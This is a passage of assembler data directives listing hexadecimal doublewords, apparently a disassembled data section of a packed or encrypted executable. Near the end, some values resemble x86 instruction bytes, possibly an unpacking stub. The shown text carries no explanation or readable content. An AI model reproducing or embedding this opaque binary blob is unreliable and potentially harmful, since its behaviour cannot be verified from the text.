58DBA9C8h, 0DAh, 5074D9C3h, 5C32A567h dd 7C6C4311h, 8F8B1CB0h, 0C56DEAE7h, 0C682DCB5h, 0F27C6C41h dd 67007077h, 0DA4C1AE6h, 0EB5106E9h, 0DB3E7A54h, 0ED8A48F6h dd 0CCEE945h, 428C599h, 0B3FC4F3Fh, 0EBB18AC2h, 32C2227Ch dd 5CF3510Ah, 0F6314602h, 0BD159248h, 49E3723Dh, 0D1CDAFAAh dd 51E85752h, 673FCE3Dh, 17D13AA8h, 59D80000h, 0C46E3A46h dd 50F7A3C1h, 0FB7B1775h, 620E9AE6h, 91E60D6Fh, 6C0C0DA9h dd 0D1B3AE30h, 5B3938C5h, 0C3A1A44Fh, 67217D10h, 757C7250h dd 0FE8530D3h, 86FB8AFBh, 63E06BD4h, 51F76501h, 0D0660774h dd 0E99437Ch, 5958E577h, 0CEB6E3F1h, 56227C6Ch, 223FC1B1h dd 0B49137A5h, 1CEBA037h, 3A37BF49h, 795B2C4Dh, 0C7E34B4Ch dd 1542D5CEh, 0F904E776h, 74D93651h, 0BB66750h, 0B9264734h dd 1E0D922Eh, 2B3B0D65h, 933BD7A9h, 2E1AC02h, 7A057C6Dh dd 0FC7AC09Eh, 417A0395h, 6777318Dh, 3A45F784h, 8A712ABDh dd 21A8AEB7h, 0AB039238h, 0FDCCD292h, 7C17FEB3h, 18E4C85Dh dd 0EE7906B2h, 0E6410757h, 0C56FFD4Ch, 5FF7B0C0h, 99437C50h dd 58E5770Eh, 0DC4B2859h, 4CE5C682h, 3D9512FDh, 9865359Fh dd 9CF28303h, 0F787FEDCh, 970E8FE8h, 116D7E05h, 0F787FE57h dd 6C6D0965h, 96026EEFh, 985716EDh, 0AE913C6Fh, 16C541F1h dd 45EC0000h, 0F0722E4Ah, 64FB97F5h, 0E78F1B79h, 96128EEAh dd 85D2F193h, 503031BDh, 0C5A7A244h, 4F2D2CC9h, 0B7D5D053h dd 7335891Ch, 417C7251h, 0FE8524FFh, 3BA144FBh, 0E8A712A0h dd 16867Ah, 8D842D00h, 3431B3EFh, 0B8A73854h, 2D24CCD8h dd 0D2D7534Fh, 0FCC4ADB6h, 87137170h, 884E4E1h, 920E6A6Dh dd 0DD761211h, 51B4F4CAh, 0BE007C72h, 0FBFE85E5h, 53F9C28Ah dd 0ACD0CFC4h, 0BD182BE4h, 57E98015h, 6D41D4B1h, 7624B32Bh dd 7A58FEB9h, 7C6CBAE3h, 69385827h, 275431D7h, 0D1DFA3B2h dd 68E91FD7h, 14B00AC2h, 98F6612Bh, 82B4BAD5h, 0DC8A9611h dd 12CD61EAh, 64F399A2h, 5D2A2DC8h, 4F1FF65Ch, 19152BAEh dd 16AA3D7Ah, 0B13E946Bh, 0D6B54AE6h, 3D93AC00h, 54D02101h dd 44CE2055h, 7137871Eh, 7F110485h, 8D24B330h, 4857731h dd 15CE4511h, 1D162332h, 148129D6h, 502D5ABAh, 56C1AE17h dd 8C2939BAh, 3EBFFC8Dh, 0FABE10A7h, 0C612CF36h, 257111B9h dd 0E7249B9Eh, 0D175F536h, 15A1A05Eh, 69080000h, 149E0A96h dd 80277311h, 0BABE785h, 0B23E6A36h, 0E1B6DDBFh, 3C5C5DD9h dd 0A1C3DE60h, 2B4948F5h, 93F1F47Fh, 97D1ADC0h, 257C7252h dd 1470083h, 2A762433h, 0BC12F196h, 2442561Eh, 53044076h dd 0B2F27624h, 0E6762432h, 2AE7465Dh, 1C12A03Bh, 1549F363h dd 0C1600000h, 4CF6A2CEh, 0E87F2B49h, 63039FFDh, 0EA96026Eh dd 96E7517h, 0D4B4B531h, 593B26B8h, 0C3A1A04Dh, 4B292CD7h dd 0EFA90598h, 0FD7C7252h, 7EB9B86Bh, 0FC7549DCh, 487C6C37h dd 3727902Fh, 9E110C58h, 1502E0h, 908A900h, 0B0B53F6Bh dd 2423C4D0h, 0A9A84844h, 5E53DFCBh, 78401132h, 39FFDFCh dd 9400607Dh, 1E8A16E9h, 61F29E95h, 5438704Eh, 22847C72h dd 0FBFE8561h, 7E75FE8Ah, 0E9560801h, 0E11244BFh, 3E9EDDh dd 80050000h, 767E420Bh, 0CF748765h, 7DFABBC8h, 42BD87D5h dd 48EB7624h, 15B12F4Dh, 0E4767FB8h, 1016D6E2h, 2520C390h dd 29D65754h, 808722BEh, 3AFFB915h, 0A2CD767Fh, 80FF6F0Ch dd 54000014h, 6CFBFE85h, 205150D0h, 0B9CCEB43h, 0E9869B27h dd 6F1C199Bh, 5529810Eh, 3530B36Ah, 804D21B4h, 0A47C6C42h dd 30B04CDBh, 0F3808722h, 0A735B2h, 0BD1DAD05h, 0B64DD882h dd 0EA9B9E1Ah, 32B7258Dh, 0BE82B475h, 0BCF580F1h, 0DE77EA41h dd 0C848EE3Bh, 9E482837h, 76248ED7h, 0CBCE6A06h, 80DB763h dd 0A5B63C68h, 248E8FC9h, 0D5525D76h, 2B2ED4A4h, 0B56A445Ah dd 0A0C0C56Fh, 0E1521308h, 1DCC9DDh, 0B9520000h, 7549DC7Eh dd 7C6C4144h, 0A661790h, 930F6D68h, 10671411h, 5BF3F67Ch dd 6C51377Dh, 0C1C06D7Ch, 4443E0B0h, 7D229037h, 3CD0C7A4h dd 0A517BFAAh, 0B5B032E6h, 1EBC87D7h, 0D15CF087h, 1734A1DEh dd 1DE15D22h, 8ECC62E3h, 82B4B177h, 0A09AA46h, 217D14A4h dd 7624B067h dd 0FC8D0A75h, 630100ACh, 0F9B68B37h, 24B12D69h, 7926A876h dd 0A33237B3h, 0B0F6B20Ch, 0A5C27624h, 88247D0Dh, 1C9DEAEDh dd 5D58DAB6h, 3BC7592Ch, 82284926h, 3E9D6C16h, 82C6989Eh dd 4E76252Ch, 0E9995421h, 3FBCBB38h, 0C7B9C1BEh, 0B93BD518h dd 0F87A16BCh, 4FF9FFDh, 0DEDDE1A0h, 5Eh, 0EBF98545h, 4A0E604Bh dd 96762433h, 9A1B68E9h, 87196C1Dh, 1794E5E0h, 5257D3BFh dd 0BC635D25h, 68033871h, 8EDB831h, 614AF6A2h, 24DD4B0Dh dd 66227C76h, 727624DCh, 0AD384735h, 24DC97D1h, 0DD5A2576h dd 0A4E41FBFh, 277DDE1h, 65007DD1h, 0E3941562h, 59F109EFh dd 0C5F5h, 7EB92E00h, 0B07549DCh, 47C6C41h, 0D350EC7Bh dd 70C6A7D4h, 0B6B33143h, 3134BEEAh, 0B7B23040h, 0FD14AAC6h dd 100EA2EAh, 2253D069h, 0D8A9AC56h, 0BFAD49DBh, 0C2B33035h dd 0C41DC2BCh, 70BF6C5Eh, 2C6C42D9h, 0B87C6C62h, 61E9AFFFh dd 9BF77C6Ch, 0B681904h, 0F2FBF98Ah, 481D7839h, 898C36E2h dd 74D843EBh, 0B14BDBA9h, 2542332Eh, 44418Dh, 0B9DA0000h dd 7F4FC67Ch, 76243389h, 0BDBA8D7h, 76243449h, 0F513C88Ah dd 0C39B0AC8h, 762433D5h, 0E5CB7703h, 7637445Dh, 250FB8C9h dd 86545324h, 0A961794h, 6061019Bh, 18ACCAh, 47D90000h dd 0ABC8B9BCh, 0EC806003h, 0DFD25240h, 0EA40215Eh, 4FCCh dd 0E2854B00h, 78FA96E7h, 0E1831F7Dh, 0FF3997E4h, 8C36CA5Dh dd 8401E89h, 0D4762433h, 0E67403ABh, 7624329Dh, 0FA8B8E35h dd 411D06AEh, 76243207h, 5C2DAAD5h, 7EB77446h, 0B63FA9Dh dd 7624324Dh, 4B61C9Bh, 0F1BA6147h, 7560221Eh, 0BB00000Ch dd 4D44EC80h, 7D77F3Ch, 50EE9F3Dh, 0FFCF678Fh, 0E4BA5144h dd 0FFCF66A4h, 0EDDF7730h, 26ED163Eh, 2F37544Ah, 6C000000h dd 4ADD7FB9h, 24333474h, 96E78076h, 98002238h, 6D780E1Fh dd 0E3E68C1Ch, 667D0692h, 18D18EE0h, 0A0847BF7h, 7492C37Bh dd 2CCA1h, 0B80FA00h, 34337905h, 4E1EB4BAh, 393CC776h dd 79360BABh, 772CBB38h, 0DD89D96Bh, 3C47EFCBh, 0FE85C358h dd 55D06CFBh, 0EE442552h, 796EF5D5h, 0D8E11A92h, 3448h dd 7FB9D300h, 0AE2F22CEh, 91FA537h, 90116E6Bh, 0AD056213h dd 980B801Ah, 116DDC2Bh, 603ED77Fh, 7624B925h, 80ADF6B1h dd 0E7E2851Bh, 676FF482h, 35h, 0DD7FB9FCh, 9DDBB34Ah, 2B762432h dd 80DDE64Ch, 2432672Eh, 6D367576h, 0AA57E980h, 0A7F49123h dd 0B031FCAFh, 7B0CA2C3h, 82E7E285h, 67039DF4h, 3E941562h dd 0A42E47A5h, 9E1A77CBh, 6ADF99Bh, 0A4404C03h, 0C39B32A5h dd 77CBA385h, 0CFFE5453h, 532021CDh, 0D7A4A541h, 0A861DEECh dd 6FB56A20h, 7723C1C4h, 5A59DACCh, 80CF4C2Dh, 0F6CB7709h dd 9A52F8B9h, 0EF861FF1h, 0CBA3D99Fh, 3298E777h, 851CC3B8h dd 0CBA36F29h, 83217D77h, 0B88E986h, 494CF7A3h, 7174FFABh dd 0C216923Eh, 77CBA383h, 73652857h, 159E4239h, 1AA6F21Eh dd 9E467607h, 549C430Fh, 453EA9A8h, 463838FCh, 0E8E99529h dd 0E6A2FC6Bh, 0F277CBA1h, 118D1DB5h, 0E7E28492h, 0B9F6D375h dd 9D347BF8h, 17646103h, 0D450C096h, 0CBA24104h, 85D97077h dd 77CBA1C3h, 0B0C09611h, 4E45B8F7h, 0A1A1E7B7h, 0F4CA77CBh dd 77CBA1B4h, 79156700h, 0EC8DFAE7h, 0D695C76Fh, 86626102h dd 77C690Ah, 0F08C5068h, 0E6A2F07Fh, 1277CB4Ah, 87E09097h dd 1F1A8F06h, 654C55C3h, 0FB22E968h, 0B3B0318Eh, 1B0E4A24h dd 0DDDA77CCh, 0BF517875h, 214E3F32h, 30A55589h, 0BE529D42h dd 15532B28h, 0A377CC1Bh, 493647C4h, 0B7B231E1h, 4BBA3955h dd 46E9E2CBh, 14ED9566h, 35A71697h, 1C199B89h, 2DA4D09Fh dd 0AA041793h, 77CB64EEh, 4F3CBDFAh, 69D6882Eh, 0B22520C3h dd 0A8BC8CF9h, 35890A4Dh, 77CBC073h, 11B92641h, 0FE8552F1h dd 0C3589EFBh, 4FC67CB9h, 32A2E6B8h, 412E7624h, 245550D3h dd 0F5D4EF47h, 0EFA9059Ch, 0FD762432h, 798B1CB2h, 0D8E11A92h dd 54146A01h, 60792432h, 32AFAF07h, 0F4000000h, 0BDC67CB9h dd 4346EC80h, 11542AEBh, 0A5762433h, 1B80B9DAh, 0D395E980h dd 0E1762432h, 74AB4072h, 67E417E4h, 0A4A143CFh, 676FF4C3h dd 42h, 0C67CB9FCh, 52E980BDh, 24333C7Ch, 47EF8876h, 24334C09h dd 62029E76h, 0E4911E6Fh, 0A4484E2Ch, 0C2A72403h, 0FF851B80h dd 0E98099FAh, 2432D395h, 3086E176h, 90098211h, 0A529A421h dd 880908A8h, 0E9808122h, 2432D395h, 64650176h, 9D1A9617h dd 415BA735h, 8667624h, 0FFFFFCE0h, 32FD478Fh, 2D177624h dd 0E910D6Fh, 2A6B0EE7h, 0C16C0A48h, 0B76037Ah, 2F5CDDBBh dd 3938C458h, 0F85C391h, 31B37625h, 0F6879A27h, 297B0889h dd 18059B89h, 0C39BEA9Bh, 76250F85h, 0BB375453h, 31680FC4h dd 8010159Fh, 1794E5E4h, 8A5E0DBFh, 1B8A16F5h, 0D791ED84h dd 0E576250Fh, 0F8CCC9Ah, 5F587625h, 9C991BF7h, 0E3A19CFCh dd 62CDC492h, 0D486B87Bh, 9CCA3117h, 3C109FB7h, 8B000002h dd 2432FE47h, 6F2D1676h, 4B0D61F8h, 99762433h, 75AF651Eh dd 72AA72C5h, 0C06539DCh, 147C6D29h, 0E398096Bh, 2D35D3FFh dd 7B17BFFBh, 4954EAE4h, 8DFA7B38h, 37075FFh, 5958D874h dd 37E34B28h, 95FB888Dh, 0DE75E0AAh, 8AEBD42h, 0B4E9F74Ah dd 0AF803382h, 8F82222Ch, 3FDCADFAh, 7FAE0FBEh, 1788129Fh dd 0DCA67h, 4140E100h, 0C8CD7723h, 7C6BFCA8h, 0E1E0801Ch dd 966B1783h, 0B088E90Ah, 3B573534h, 0CCD8B8A5h, 56422E21h dd 19CAD6ADh, 5A702886h, 0EA7C7C72h, 0FBFE8539h, 0A64FB8Ah dd 7624334Eh, 89FBFE7Ah, 941E95EEh, 0CF41FD5Ah, 0EEAC9767h dd 5B5EE577h, 5F2C2DC9h, 411DF85Eh, 7C72A372h, 2E37265Bh dd 0BE8F2E7Dh, 114F3C5h, 0BD154FD3h, 49E3723Dh, 0D8C9ABB6h dd 7B2B6D41h, 0EDB97C72h, 6AC04140h, 861919AEh, 279EA9Bh dd 8DEF3688h, 82F370F1h, 39764DF6h, 37AE6C57h, 0F3B509A0h dd 0C17C723Ch, 1F4210A6h, 0CB82BA46h, 37A211ACh, 0EBA4129Ah dd 0D167Bh, 1D149D00h, 8481237Fh, 817A8E4h, 0BDB43C68h dd 2227C3DFh, 6C543D46h, 0F7A3C1C0h, 78147451h, 29EFAFDh dd 4D066261h, 5C24643Ah, 2EB07C72h, 0E8FE8575h, 0BFCC4D4Ch dd 0B124E6D1h, 6C61F4DDh, 861C957Ch, 6A8AB284h, 0BBC4F45Ah dd 2326CDD9h, 9A9D18B4h, 11149FEDh, 2C820360h, 356E059Ch dd 22EA52CEh, 0B4F4A214h, 7C6CB6h, 4ACBCE74h, 992F08E4h dd 58DBD5F8h, 3A4F2C5Dh, 56D71F15h, 0C61FEFBFh, 2E4982BAh dd 878225B7h, 0B16A9E5h, 607F009Ch, 0A1DAADCAh, 0FF0641F2h dd 0A969C17Bh, 1E7E0F0Ah, 9EF06725h, 7C7257F3h, 9C0DB0FFh dd 9A0C5225h, 0C5D75E5h, 0AD540000h, 58DAB6D2h, 0DC633F5Dh dd 4FF7A3C1h, 0FE7A1672h, 1D7A99FBh, 0F8989925h, 6D0F1AACh dd 0D7B5B431h, 5F3D38BBh, 0DB9DF184h, 0E97C725Bh, 0FE85CC57h dd 86FB8AFBh, 2599665Bh, 0BF0FA7F1h, 2829D584h, 4ADD5A5Bh dd 6CE6F974h, 0B2314D7Ch, 9B9E25B7h, 80227E1Ah, 14ABE785h dd 0DE094F1Fh, 0A8D77C6Ch, 0B9AA492Bh, 7549DC7Eh, 7C6C621Ch dd 0E07E0F68h, 7C6C60A4h, 0B354E8AFh, 9F4C7ED4h, 0A92072A9h dd 0A44FE1DBh, 0B0C509A1h, 5E000000h, 49E9FF85h, 0C05CCB48h dd 0EE8D2524h, 0EAAE0097h, 13762432h, 2432FDBBh, 0DCACCB76h dd 159F7BD3h, 91116310h, 0C86B0590h, 3A5665CDh dd 0FFDFBDB8h, 0FABE10C4h, 0C6762432h, 0A9158B4Dh, 0E8FD73Dh dd 359D1681h, 1918A48Eh, 0DB7E0B68h, 7B76FE2Ch, 46EC6D0Ah dd 0A482FFCFh, 0A1CE7C6Ch, 57CD911Eh, 4AF8B70Ch, 0B67h dd 0CCACA342h, 355752D0h, 0B9DBC659h, 2C4C45EDh, 97F5F470h dd 931F278Ch, 0A6F29Eh, 8E2B6705h, 36BDE98Bh, 0EB825133h dd 725CD593h, 0CA5DE37Ch, 56E9FF85h, 0EF7D3A4Bh, 0A0C04144h dd 0DDC85FF1h, 564775h, 85DC0000h, 0C38DFAFFh, 2CC352F8h dd 327F3995h, 224D7624h, 4C73CE8Ch, 0F0BF7C6Ch, 5821584Dh dd 1B16E0Ch, 0AFBh, 50300FB6h, 0D9BBBE44h, 4D2F3ACDh, 0B0D0D151h dd 3B5958E4h, 0E783BB18h, 740A86E2h, 129F0B69h, 82217D1Fh dd 576EE587h, 725E4107h, 6E398F7Ch, 8AFBFE85h, 17E75FEh dd 17148D08h, 0C2F55DDDh, 0BE6D5FF7h, 0E1C76D96h, 249B7DDh dd 0D9EC0000h, 8B4039A4h, 2B80A97Ch, 0C3C03740h, 0D22512F4h dd 0E697A07Ch, 0D4D55141h, 2859C6A7h, 5859D94Bh, 5ACD4A2Bh dd 6CB63904h, 0E6026D7Ch, 457CF68h, 5EFCC770h, 0E6AF7C7h dd 0CC63724Ch, 0BC05B6F2h, 0CD650269h, 0B953C2ADh, 20413E3Bh dd 98A3ED8Ah, 0A90B63F2h, 0FF700785h, 0E88B25B0h, 90138FEDh dd 8DA12A95h, 18971CC3h, 0A3E6Ah, 0F5CC7500h, 7C79FB97h dd 0E0FF801Ch, 956C1480h, 1A1F9BF7h, 447C557Eh, 0CFDBB9B8h dd 504C2C39h, 0DAB6D2D5h, 0A53E5A59h, 5DFCBC12h, 76C87C72h dd 0FAFF85ADh, 52F8C38Dh, 4CE1EBC3h, 78077C72h, 0D0CD53EDh dd 5442E4B0h, 0DBD8A9A8h, 0C65A2D5Ah, 5657243Bh, 5A132C80h dd 0C9B6C7DAh, 0A343DD48h, 7AD0D1AEh, 6966C39Bh, 0F5B282BAh dd 2D38CE62h, 0D0CD534Fh, 0A352D1A3h, 0A60D85E7h, 6B926F5h dd 1299977Bh, 0B424D24Dh, 0FF000009h, 8D197B76h, 0A86E2E7h dd 9E0A9675h, 2D791B16h, 0C3E08081h, 2B2ECAF2h, 0DECB5D49h dd 445BE6B2h, 0CCCB6824h, 0CEA037ACh, 7C725E8Ah, 7D17F056h dd 24329DD3h, 0CFBC3E76h, 87457E6Eh, 63257910h, 71762432h dd 99F5A036h, 7C6C4FC0h, 5DF4630Ch, 4EB0E8C6h, 733C7C6Ch dd 0AEA83FDBh, 0E28E0F02h, 6421CB3h, 327C6C4Fh, 50C3B1ACh dd 52A730Eh, 0F046C767h, 0EE79231Ch, 0A2D3D652h, 4E632A31h dd 0C041977Fh, 7814AB6Ah, 25610CE7h, 809B897h, 0B6B5238Bh dd 282B75Eh, 7AAD3E91h, 54D59513h, 3B932AC1h, 7626357Dh dd 3F5B2C4Bh, 586975E0h, 0BC47D37Bh, 0C7972EB9h, 76267181h dd 0FE8A204Fh, 0BB0201A2h, 129DFAFCh, 0E4D5453Ah, 0CF000008h dd 5D492B26h, 0DAB6D2D7h, 6E3A4645h, 0FDA9CBC6h, 0F3107071h dd 1B1E9AA2h, 8E9B2D79h, 340BB6E2h, 0BCBB3854h, 1E7007DCh dd 7C725F5Ah, 4747C066h, 762432FDh, 0EF8D882Bh, 7F16B48Fh dd 88C4B3E8h, 9B195DF0h, 0EB338B05h, 0E97CFD31h, 2498D395h dd 3086E176h, 6CE762A2h, 4F1F767Ch, 7C6C5B09h, 0A8E0BED7h dd 347C6C5Ah, 0DA4DCA4Bh, 0C4A4BB46h, 0B3B633CDh, 0FFF27F1Bh dd 865108Eh, 0B9770000h, 9136CA7Eh, 32A4E4B2h, 77307624h dd 0E60F5FF6h, 327C6C3Ch, 0B84EE275h, 4DDFDCADh, 6A09A1A0h dd 6E2A841Bh, 9A7C6C3Bh, 976071Ah, 38963C7Bh, 7C6C3B7Ch dd 80A41BD7h, 0DBA9079Bh, 16941h, 0E9942800h, 85274016h dd 0FD88F9F8h, 0B2C3C663h, 2BBD5DF5h, 2190B5CAh, 243A0B4Dh dd 0A5DED976h, 0F4753473h, 0B4F4CA61h, 0E0762495h, 7532435Eh dd 0A5D27807h, 0A43A2CD7h, 2AABC8B9h, 808121BBh, 9F1CB2F3h dd 0F661600Dh, 73DBDE5Ah, 7A23E57h, 41327300h, 23E34BD5h dd 8D0DA5D6h, 590E1E0h, 61C9D46Bh, 8017AD8Dh, 24F4A22Eh dd 67374E76h, 7624F521h, 3243C0AFh, 0A9C6DD66h, 0A24F59DBh dd 50D1DEAFh, 9D427823h, 0D66A2144h, 5B58292Ch, 0FA46BE2Eh dd 5DF558F3h, 0C974BC63h, 0A82A5FF6h, 2F77CC93h, 0D5C1E149h dd 8A582928h, 76249BC2h, 0A9059CF3h, 76249AEFh, 0A21CB2FDh dd 0DF7932FDh, 490F1520h, 1C9979D1h, 628E960Bh, 0E591E3AAh dd 2438F3B5h, 39A6C176h, 8143735Bh, 3908B816h, 0BBC47624h dd 3D28BECAh, 0A0BD435Fh, 2722C1D3h, 5C03CF56h, 7517F294h dd 0B9A8719h, 27B21196h, 5AD071Bh, 7F1D2676h, 0DC4B96E8h dd 18677C6Ch, 8F9A2C78h, 16A09EFEh, 5FB72281h, 0F0F77286h dd 0E465E283h, 5F52DF71h, 0C401EF7h, 0D87C6C44h, 4CD2AEDFh dd 0CF502051h, 0A822A3D0h, 9F5B3AF3h, 7B66F820h, 0EEFB8D19h dd 46043F91h, 75E6FFCFh, 753282B4h, 0CE57B17h, 8AFB2ABDh dd 0BFDD5A0Dh, 0ADA84AE6h, 0E9E89505h, 7EB9E88Bh, 0A87549DCh dd 0FC7C6C42h, 0CB6C2B3h, 0B9C86B09h, 5A4FC67Ch, 7921166h dd 0B9FFCF45h, 7762485h, 2453FB78h, 2485CE96h, 7E128576h dd 0D494EAF3h, 0E0762485h, 1E690687h, 24860840h, 2AABD476h dd 3315CA84h, 0DDE15DC8h, 3712h, 9F067B00h, 5F39D59Ah dd 8580238Bh, 3D8DFAFFh, 7624327Bh, 0FB219E5Ch, 0C0C56F79h dd 2DB72143h, 48762454h, 0FFFF9A3Ah, 25366BFFh, 1E895367h dd 0DFACAB48h, 0EEF951DEh, 9EFBFE85h, 7CB9FD66h, 0EE75BDC6h dd 0E11A9279h, 5548D8h, 8F210000h, 457A1EE7h, 0B11C2FBEh dd 8C224330h, 0C67CB9FBh, 6A2E80BDh, 93762432h, 0F7C7DF9h dd 0CFA8C86Eh, 851B80AAh, 4A57E9FFh, 41EC7C3Dh, 0F370314Eh dd 69DF496h, 2432F0A8h, 8757FB76h, 246EA49Dh, 0E0832B54h dd 0B15D0B80h, 0B9D7279Bh, 376311h, 0B9E00000h, 80BDC67Ch dd 24326A2Eh, 6E0B7076h, 7B4B0B80h, 6DFF5B69h, 854B50C5h dd 0D16BFAFFh, 0B025524Fh, 6E619853h, 59F17ED5h, 39DF44Eh dd 0F4F1737Dh, 0D1790677h, 95E980B6h, 762432D3h, 32EEAA04h dd 0BDFA7624h, 8E0AA0CFh, 7A67F9F9h, 9EEF6C0Dh, 243288C0h dd 2A914176h, 6626106h, 2440E248h, 3F8DFD76h, 0AFFFFF3h dd 9EFAFF85h, 0D047053Eh, 33236539h, 0F6B17624h, 821EB560h dd 0D4BE3E6h, 7C6C642Ch, 0F04E3F78h, 7C6C62B4h, 0B17C239Fh dd 0EF9C891Fh, 6F94288Eh, 0B5DBA922h, 7, 167EEh, 80FC0000h dd 32D395E9h, 86E17624h, 0E66CD2EDh, 0E64C757Ch, 0F86F2D16h dd 6C8823A6h, 0B3C0AF7Ch, 7E5043E1h, 7C6C443Ah, 0B7C4DB66h dd 7CFDBAF6h, 9070B0E9h, 23C7A184h, 0EDA6FF8Bh, 97713543h dd 0D381298Eh, 7C6C3BCAh, 1C7C73FEh, 7F1F0C85h, 0BA932A55h dd 0E6F98414h, 29B1A789h, 0AFFD8A97h, 47F0C19h, 6830C9B6h dd 7A072D92h, 0EA890567h, 43E478EFh, 789C3CB0h, 0C7443684h dd 0D1527E6Fh, 68E99BD2h, 0FF5732D4h, 29CA1ECDh, 7925CE2Ah dd 0DA611A82h, 0E758h, 0B80C300h, 9E7E923Ah, 2266380Bh dd 0AE7624BFh, 12EA40C1h, 60F76E24h, 24BF4A0Eh, 5D1B7376h dd 6B7624BEh, 0A1337C0Ch, 32730001h, 2E800B9Ch, 76243267h dd 806D3675h, 0C7E05B1Bh, 9EFBFE85h, 4D44EC80h, 0B94DD6E5h dd 75BDC67Ch, 1A9279EEh, 4948D8E1h, 0D3000000h, 40327CB9h dd 9C5974DFh, 8089EA6Bh, 24326A2Eh, 9E097676h, 0CFFFA9E5h dd 1A99617h, 52E98066h, 24333C7Ch, 47EF8876h, 870B803Ch dd 0A9B44A92h, 2DAEDBD8h, 7B17BF28h, 4144EFF9h, 91F27330h dd 43676FF4h, 0FC000000h, 0CCCD0B80h, 1265D2EBh, 97E4FB86h dd 0D1EC4016h, 2E805633h, 7624326Ah, 3672FF70h, 2389A186h dd 1B80C1A2h, 0A20EFF85h, 85EED608h, 0ADE671FEh, 0CA2E620Ah dd 338B1A2Eh, 76249B75h, 0F58E2443h, 10676FF4h, 0FCFFFFFFh dd 6CFBFE85h, 275ADCD5h, 0C472049Eh, 2458D296h, 7B76FE76h dd 0ABC86E09h, 3D5F5AD9h, 754C625Dh, 958344h, 0AD3FD657h dd 928F1107h, 86D8BD15h, 7C6CDC57h, 0C98FDF76h, 177C6CB7h dd 0C9B6C268h, 0B1F7C75Eh, 0DA7C6CB7h, 6CB7C484h, 0E597107Ch dd 3787349Ah, 7C6CB76Dh, 93B56AE4h, 0DBA99768h, 3DB2h dd 7EB9E900h, 647549DCh, 0B07C6C40h, 6C2886F7h, 987C6C3Fh dd 1D6F1C1Bh, 61EE9F8Ah, 14F93EEDh, 4E43EF81h, 0E0DA7031h dd 15DF43Bh, 7C6C4047h, 2844EA95h, 0DBA903F3h, 10C29h dd 0E9807200h, 2432D395h, 3086E176h, 0B7C4C360h, 0CD5859E5h dd 0C5B2B733h, 13610EA4h, 94E49590h, 7865FBEFh, 8FED6A0Bh dd 2436DFD1h, 0F0E68D76h, 63F2736Eh, 5C2D2CC9h, 0BFEBF75Fh dd 0C403134h, 67FE6933h, 36BAFED0h, 79067624h, 66BA83D1h dd 81EE7C6Ch, 0EAB08BE3h, 22C237Bh, 205982B7h, 0A9097CEBh dd 8594CF03h, 94E62354h, 35DA9EF0h, 99E67626h, 6A06B218h dd 0D858C8CFh, 33CD58D9h, 0BFD6B2B7h, 3995862Dh, 7626357Fh dd 0DA5224Dh, 3B14E18Dh, 93EC790Eh, 0B9892708h, 9E9D4ECCh dd 1E6F6202h, 0AD1091h, 36129D3Fh, 251C979h, 0D9580000h dd 44EEBAC6h, 0D0772341h, 7BFB97F5h, 0E28E1A66h, 11668DEFh dd 0EC8C8D29h, 51332EB0h, 0DBB9B845h, 432124CFh, 0E7A1FD90h dd 0F57C7265h, 0F985B053h, 0D25F49EBh, 40C1AEDFh, 0B4017233h dd 9BB5C0A1h, 0BEEAB637h, 15A73E35h, 0E71E6B6Eh, 0A5510D26h dd 0F6AF3B93h, 70C6C55Ah, 0DC7EB957h, 431BB249h, 76243305h dd 33205836h, 0C3AC7624h, 7260F6B1h, 7C6C4067h, 3D38BA56h dd 0A70F02AFh, 4F1F6C0Bh, 7C6C4005h, 0FB2D924Ch, 0DBA90300h dd 0A5DAh, 0FE854100h, 0F9D56CFBh, 762432BFh, 0AFCC620Dh dd 91A451DDh, 4D18A7CEh, 8C5A2BA8h, 76248214h, 6FC033B0h dd 527B8529h, 0F0ACCC4Dh, 49077473h, 1921586Eh, 0A8A01857h dd 8B25BC2Bh, 1341E9F4h, 7C6D5A4Ah, 2273119Eh, 9DEAF98Eh dd 0DDE6B61Ch, 0FAD6A83Fh, 3682B7AAh, 0A642DE49h, 29D5C1A3h dd 0C3CE9528h, 7F8129Dh, 15297h, 0D9D85900h, 4045EFBBh dd 0F4D37420h, 7978F894h, 0EEE38F1Bh, 28106182h, 0B3EF8D8Ch dd 4450302Dh, 0CEDAA6B9h, 91422E25h, 66E8A0FEh, 52F47C72h dd 0F8F985B1h, 60670C98h, 0FE856300h, 75FE8AFBh, 81BA127Eh dd 0AD2A2DC8h, 1101A63Ah, 6512938Eh, 97E7AE04h, 7C6C4FB2h dd 4B2C661Bh, 7A0F02AFh, 0A332CEB2h, 6CFB8DCBh, 0F65C5B7Ch dd 962ABDFAh, 1E8A16EDh, 0F2E08D95h, 65027376h, 461667E4h dd 7648DF7Dh, 82BB155Eh, 0F752ED8Ah, 0C1129969h, 0BDD04Eh dd 4DF40000h, 0F87A1672h, 7C039FFDh, 0EF970361h, 9E1A7612h dd 0FDDAF99Bh, 583839C5h, 0CDAFBA4Ch, 375554D1h, 0BFDDD85Bh dd 7B3D9124h, 497C7267h, 7EB92CF7h, 0DCB249DCh, 7624329Ch dd 2EE74F28h, 7B7E0597h, 65237B0Ah, 73762432h, 0B11FB734h dd 7C724D7Bh, 938E10ACh, 65F0BF3Bh, 582934CBh, 2D2CC95Bh dd 199AF685h, 81227E1Ah, 7165F582h, 7CFA708h, 85176461h dd 0B88F9F8h, 79559847h, 0CB9ED43Fh, 0AE65E28Dh, 5EE50FFCh dd 0C66D395Bh, 5EE6B2C3h, 27933243h, 2733B078h, 8BE8999Ch dd 62019B0Ah, 6E201267h, 1824C854h, 0F97A16B2h, 81D8DFAh dd 88000000h, 0E34B4EF4h, 85DA41C0h, 494E5FCh, 790B787Fh dd 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh dd 6B397655h, 0B9BFCCC9h, 81E78957h, 4C7h, 4EF8300h, 31243C33h dd 3C33243Ch, 89535C24h, 4C381E3h, 83000000h, 1C8704EBh dd 3C895C24h, 9056824h, 4890000h, 66685324h, 5B5C1065h dd 16EB814Bh, 8955C24Ah, 8B545BDFh, 0C4832404h, 59575104h dd 59084889h, 582434FFh, 4C481h, 34FF0000h, 0C4815F24h dd 4, 0FA47B8E9h, 0F9DE97FFh, 0F5913D68h, 53B86447h, 3064E36h dd 85C650C5h, 6480FF9h, 17256847h, 0B5FFCF38h, 6480ED5h dd 38BA858Dh, 0D0FF0648h, 858DD88Bh, 6481CE5h, 1046850h dd 0D3FF0000h, 0FF985C6h, 68530648h, 8307F8BFh, 0ED5B5FFh dd 858D0648h, 64838BAh, 8589D0FFh, 64E1930h, 202DBD83h dd 0F000648h, 0B84h, 4D9D8B00h, 0E906481Ch, 5, 0BBh, 1006800h dd 